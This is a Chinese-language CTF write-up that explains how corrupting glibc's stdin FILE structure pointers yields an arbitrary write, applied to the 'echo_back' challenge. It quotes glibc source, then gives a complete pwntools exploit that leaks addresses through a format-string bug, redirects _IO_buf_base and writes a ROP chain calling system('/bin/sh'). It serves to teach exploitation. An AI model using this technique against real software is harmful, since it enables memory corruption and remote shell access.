简介
正常情况下我们用户的输入长度和写入位置都在受到程序限制的,不可能让用户任意地址任意长度写入;
但是利用特定的漏洞,我们可以修改到IO结构体中的指针,就可以绕过上面的那些约束从而getshell…
_IO_FILE
在结构体_IO_FILE
当中有很多关键指针:
结合源码:
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
#if 0
/* SysV does not make this test; take it out for compatibility */
if (fp->_flags & _IO_EOF_SEEN)
return (EOF);
#endif
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
_IO_acquire_lock (_IO_stdout);
if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);
_IO_release_lock (_IO_stdout);
#endif
}
_IO_switch_to_get_mode (fp);
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
我们可以总结出来的就是:
当fp->_IO_read_ptr == fp->_IO_read_end
时,通过系统调用向fp->_IO_buf_base
处写入读取的数据,并且长度为fp->_IO_buf_end - fp->_IO_buf_base
所以只要我们可以控制这4个指针,那么基本就可以任意地址任意写了;
实例
这里我们以攻防世界的echo_back来看具体的应用;
程序分析:
主要有2个功能,一个设置name功能,一个回显功能(有明显的格式化字符串漏洞)
通过ida分析:
我们发现set_name只能设置一次,回显功能也要求最对输入7个长度的字符串,所以我们很难直接利用格式字符串漏洞进行攻击,因为我们只能最多写入改变4个字节的数据;
但是我们通过调试发现我们set的name会在栈上面,通过%16$p等可以访问到;
这个可以想到去覆盖_IO_buf_base
的值,而这个题目中可以利用是因为当覆盖为00时,指针刚好好指向了stdin
内部地址,所以可以再次覆写_IO_buf_base进一步造成内存任意写,而在scanf后面跟了一个getchar()
函数,每次调用这个函数是会导致_IO_read_ptr ++
思路
所以基本思路就是:
- 先用echo功能获得基本的地址信息(
libc,pie,stack
等); - 将
name
设置为_IO_buf_base
的地址,利用格式字符串漏洞将最低位修改为00
,此时_IO_buf_base
指向_IO_2_1_stdin_
内部_IO_write_base
的位置; - 此时通过
scanf
输入的字符串将写入_IO_2_1_stdin_
内部,所以可以再次修改_IO_buf_base
的值为栈的返回地址,为之后的ROP
做准备; - 然后反复调用
getchar()
函数,即程序的echo功能,让fp->_IO_read_ptr == fp->_IO_read_end
- 然后我们再次调用
scanf
函数的时候就可以覆盖返回值了,即写入我们rop链getshell…
EXP
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux',arch='amd64')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = "./pwn"
#p = process(name)
p = remote("111.198.29.45",40705)
elf = ELF(name)
#libc=ELF('/usr/lib/i386-linux-gnu/libc-2.24.so')
libc=ELF('./libc.so.6')
if args.G:
gdb.attach(p)
def set_name(nm):
p.recvuntil("choice>> ")
p.sendline("1")
p.recvuntil("name:")
p.send(nm)
def echo(num,data):
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("length:")
p.sendline(num)
p.send(data)
echo("8","%7$p")
p.recvuntil("anonymous say:")
stack_addr = int(p.recv(14),16)
success("stack_addr: " + hex(stack_addr))
echo("8","%14$p")
p.recvuntil("anonymous say:")
pro_addr = int(p.recv(14),16) - 0xd30
success("pro_addr: " + hex(pro_addr))
echo("8","%19$p")
p.recvuntil("anonymous say:")
libc_addr = int(p.recv(14),16) - 0x020830
stdin_addr = libc_addr + 0x3c48e0
io_write_addr = libc_addr + 0x3c4963
system_addr = libc_addr + 0x045390
bin_sh = libc_addr + 0x18cd57
set_name(p64(stdin_addr + 7*8)[:-1])
echo("8","%16$hhn")
pay = p64(io_write_addr)*3 + p64(stack_addr-0x18) + p64(stack_addr-0x18 + 0x64)
p.sendlineafter('choice>>','2')
p.recvuntil("length:")
p.send(pay)
sleep(1)
p.sendline("")
for i in range(len(pay)-1):
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("length:")
p.sendline(str(i))
sleep(1)
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("length:")
pay1 = p64(pro_addr + 0xd93) + p64(bin_sh) + p64(system_addr)
p.send(pay1)
p.sendline('')
p.interactive()
总结
pwndbg> p _IO_2_1_stdin_
pwndbg> p stdin
$4 = (_IO_FILE *) 0x7ffff7b848e0 <_IO_2_1_stdin_>
pwndbg> p *(struct _IO_FILE *) 0x7ffff7b848e0
可以查看到结构体的内容,更方便;